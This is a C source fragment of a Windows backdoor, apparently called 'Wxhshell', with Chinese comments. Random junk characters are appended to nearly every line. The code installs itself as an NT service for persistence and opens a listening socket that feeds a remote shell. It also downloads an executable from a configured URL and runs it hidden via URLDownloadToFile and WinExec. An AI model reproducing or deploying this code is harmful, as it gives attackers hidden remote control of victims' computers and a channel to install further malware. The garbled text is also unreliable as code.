} PROCESS_BASIC_INFORMATION; {F'~1qf
yGs:3KI
PROCNTQSIP NtQueryInformationProcess; |eu:qn8
*a[iq`499
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8q"C=t7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; te*|>NRS
PF+SHT'4}#
HANDLE hProcess; G@(ukt`0}
PROCESS_BASIC_INFORMATION pbi; ;+Sc Vz
37U2Tb!y'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LP{@r ic
if(NULL == hInst ) return 0; .wPu
#*
/ygC_,mx
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S [=l/3c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T1_qAz+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *?`<Ea
uO{'eT~
if (!NtQueryInformationProcess) return 0; c`M
,KXott
3;F+.{Icc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?3t]9z
if(!hProcess) return 0; 5;:964Et
G,-x+e"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 66Tx>c"H
cg|C S?
CloseHandle(hProcess); `*ml/% \
}~bx==SF6!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >&-"
X# :
if(hProcess==NULL) return 0; }|-Yd"$
km=d'VvnI
HMODULE hMod; Eo@b)h
char procName[255]; {sR|W:fS$
unsigned long cbNeeded; 79y'PFSms
b'mp$lt!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [CAV"u)0
sI% =G3o=
CloseHandle(hProcess); ?>}&,:U}
MVYf-'\^
if(strstr(procName,"services")) return 1; // 以服务启动 Pf?zszvs
a'prlXr\4
return 0; // 注册表启动 (q+EP(Q
} `/+PZqdC
?c0@A*:o
// 主模块 e"u89acp
int StartWxhshell(LPSTR lpCmdLine) ,b!]gsds
{ F8En)#
SOCKET wsl; 47
|&(,{
BOOL val=TRUE; eN Y?
int port=0; cpJ(77e
struct sockaddr_in door; sR*.i?lN
w"/RI#7.
if(wscfg.ws_autoins) Install();
24L
=v
kfQi}D'a
port=atoi(lpCmdLine); x/]]~@:
](tv`1A,Wd
if(port<=0) port=wscfg.ws_port; ecqL;_{o
1^R:[L4R`
WSADATA data; OLh QS_D
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lE 09 Y
vN8Xq+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >6\rhx>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7w8I6
door.sin_family = AF_INET; F =Zc_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); d:%!)s
door.sin_port = htons(port); 3B6"T;_
<7X6ULQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m@#@7[6]o
closesocket(wsl); |h{#r7H0
return 1; 9+"\7MHw
} U|YIu!^
W%&'EJ)62
if(listen(wsl,2) == INVALID_SOCKET) { +^tw@b
closesocket(wsl); q#|,4(Z
return 1; ]$xN`O4W{
} uNS ]n}
Wxhshell(wsl); c_+y~X)i
WSACleanup(); RLL2'8"A
=c1t]%P,
return 0; 15L0B5(3
u''~nSR3&
}
k\wcj^"cb
^a?H"
// 以NT服务方式启动 \}9GK`oR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \UR/tlw+/
{ DAHQ7#qfQC
DWORD status = 0; [pgld9To
DWORD specificError = 0xfffffff; mO~A}/je
O%R*1
P9
serviceStatus.dwServiceType = SERVICE_WIN32; "<LVA2v;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |8<P%:*N
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0//B+.#
serviceStatus.dwWin32ExitCode = 0; tc4"huG
serviceStatus.dwServiceSpecificExitCode = 0; TLC&@o
:
serviceStatus.dwCheckPoint = 0; qt&zo5
serviceStatus.dwWaitHint = 0; c=Y8R/G<
d%C:%d
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \8HLQly|@
if (hServiceStatusHandle==0) return; ;+W9EbY2
gyx4= 'Q
status = GetLastError(); ^V5g[XL2
if (status!=NO_ERROR) @b,&b6V
{ wNt-mgir-Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; /`"&n1
serviceStatus.dwCheckPoint = 0; I[$SVPe#
serviceStatus.dwWaitHint = 0; 9YjO
serviceStatus.dwWin32ExitCode = status; e|&}{JP{[
serviceStatus.dwServiceSpecificExitCode = specificError; #Emz9qTsce
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o7B }~;L
return; @*{sj`AS
'
} I'$}n$UvZ
ZUiInO
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1;$8=j2
serviceStatus.dwCheckPoint = 0; $,v[<T`
serviceStatus.dwWaitHint = 0; !(L\X'jH
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ulzQ[?OMl
} oPVyLD
D3i`ehh
// 处理NT服务事件,比如:启动、停止 5lp};
VOID WINAPI NTServiceHandler(DWORD fdwControl) IQ3]fLb
{ ^>H+#@R
switch(fdwControl) $k=5nJ
{ SF#Rc>v
case SERVICE_CONTROL_STOP: K,o@~fj
serviceStatus.dwWin32ExitCode = 0; 'CkN
serviceStatus.dwCurrentState = SERVICE_STOPPED; 28rC>*+z
serviceStatus.dwCheckPoint = 0; WI+ 5x
serviceStatus.dwWaitHint = 0; .o!z:[IPY
{ FA#?+kd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! !9l@
} V`;$Ua;y
return; {?zbrgQ<Z
case SERVICE_CONTROL_PAUSE: 7=gv4arRwt
serviceStatus.dwCurrentState = SERVICE_PAUSED; rt5eN:'qY
break; wWU5]v
case SERVICE_CONTROL_CONTINUE: o"5[~$O
serviceStatus.dwCurrentState = SERVICE_RUNNING; oF9c>^s
break; C"=^(HU
case SERVICE_CONTROL_INTERROGATE: HvSYE[Zt|
break; Edi`x5"l
}; }[%d=NY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gd08RW
} m=7Z8@sX},
vKCgtk
// 标准应用程序主函数 !R/-|Kjy
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lx vRF93a.
{ $4j$c|S!
5?()o}VjAO
// 获取操作系统版本 3{;W!/&>
OsIsNt=GetOsVer(); Es~|:$(N]|
GetModuleFileName(NULL,ExeFile,MAX_PATH); `T \"B%
!Ui"<0[,
// 从命令行安装 %j*i=
if(strpbrk(lpCmdLine,"iI")) Install(); )f6:{ma
<m|\#Jw_V
// 下载执行文件 W18I"lHeh
if(wscfg.ws_downexe) { ,& ^vc_}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xO<$xx
WinExec(wscfg.ws_filenam,SW_HIDE); |8s)kQ4$
} &